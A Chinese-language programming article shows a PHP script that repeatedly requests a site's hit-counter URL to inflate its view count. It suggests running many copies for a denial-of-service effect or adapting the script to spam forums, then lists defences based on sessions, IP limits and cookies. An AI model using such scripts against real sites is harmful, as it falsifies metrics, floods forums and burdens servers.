选择显示字体大小

php实现自动刷数和“灌水”机

     今天无意间看到一个网站,它的计数器能够在静态页里更新,我想,应该是使用js来做的,打开源代码一看,果然是:
  
  <div align=center><span class=article_tdbgall>
  作者:未知 文章来源:meidi.net
  点击数:
  <script language=’javascript’ src=’/article/gethits.asp?articleid=759’></script>
  更新时间:2005-5-27</span>
  </div>
  
    点击数后面是一个asp文件去处理的,那么我打开这个文件看看:
  
  document.write(’210’);
  
    是吧,就是gethists.asp文件处理articleid后提取结果后输出次数:document.write(’次数’),再静态页里就能够直接引用了。
  
    坏人终究是坏人,那么我就想,如何能够迅速提升点击数呢?手工刷新的话不是很类,恩,赶紧写个php程序来自动的去访问这个文件。
  
    php代码如下:
  
  <?php
  /* access_url.php */
  define(sum, 1000); //需要访问的次数
  define(l_time, 1000); //强制脚本执行的时间
  define(s_time, 1); //每次访问之间休眠的时间
  $url = "http://www.xxx.com/article/gethits.asp?articleid=759"; //需要访问的地址
  set_time_limit(l_time);
  
  //访问指定url函数
  function access_url($url)
  {
   if ($url==’’) return false;
   $fp = fopen($url, ’r’) or exit(’open url faild!’);
   if ($fp) {
    while (!feof($fp)) {
     $file = fgets($fp);
     echo $file."\n<p> </p>\n";
    }
    unset($file);
   }
  }
  
  //进行测试
  for ($i=0; $i<sum; $i++) {
   access_url($url);
   sleep(s_time);
  }
  ?>
  
    运行上面的程序,那么就会连续访问指定的url地址,那么自然这个访问次数就会连续增加,达到灌水的效果。如果是流量大,而且用多程序去运行的话,那么很容易就会达到拒绝服务(dos)的效果了。如果对方的防范措施,把代码修改一下针对论坛进行提交,很容易实现论坛灌水的效果。
  
    防范方法:
  
    1. 代码中使用session机制,当用户提交的时候生成一个session id,提交内容的时候判断是否已经提交,如果已提交那么就不允许刷。
  
    2. 当用户提交以后记录用户的ip地址,如果指定时间内再提交的话就不允许再提交。
  
    3. 当用户提交内容以后,在用户客户端写入cookie,如果用户再次提交先检查客户端是否有cookie来确定是否允许提交。
  
    还有很多其他方法,可以去搜索一下,或者发挥自己的想象力,做的更好。
  
  
    


 


关键字 本文所属关键字

相关 与本文相关文章

分类 所有文章关键字导航

源码编程相关

Java   Asp   PHP   .Net   XML   C/C++   CGI   VB   Jsp   J2ee   J2se   J2me   EJB   Servlet   Tomcat   Resin   Struts   Weblogic   Eclipse   ANT   GUI   JMS   Web servise   IDEA   Webphere   Hibernate   Spring   Jboss   Applet   Swing   Socket   Javamail   Perl   Ajax   P2P   安全   模式   框架   测试   开源   游戏

SQL数据库相关

My-SQL   Ms-SQL   Access   DB2   Oracle   Sybase   SQLserver   索引   存储过程   加密   数据库   分页   视图  

手机无线相关

3G   Wap   CDMA   GRPS   GSM   IVR   彩信   短信   无线   增值业务

网页设计制作相关

HTML   CSS   网页配色   网页特效   Javascript   VBscript   Dreamweaver   Frontpage   JS   Web   网站设计

网站建设推广相关

建站经验   网站优化   网站排名   推广   Alexa

操作系统/服务器相关

Windows XP   Windows 2000   Windows 2003   Windows Me   Windows 9.x   Linux   UNIX   注册表   操作系统   服务器   应用服务器

图形图像多媒体相关

Photoshop   Fireworks   Flash   Coreldraw   Illustrator   Freehand   Photoimpact   多媒体   图形图像

标准 网站致力的规范

Valid CSS!

无不良内容,无不良广告,无恶意代码

Valid XHTML 1.0 Transitional

creativecommons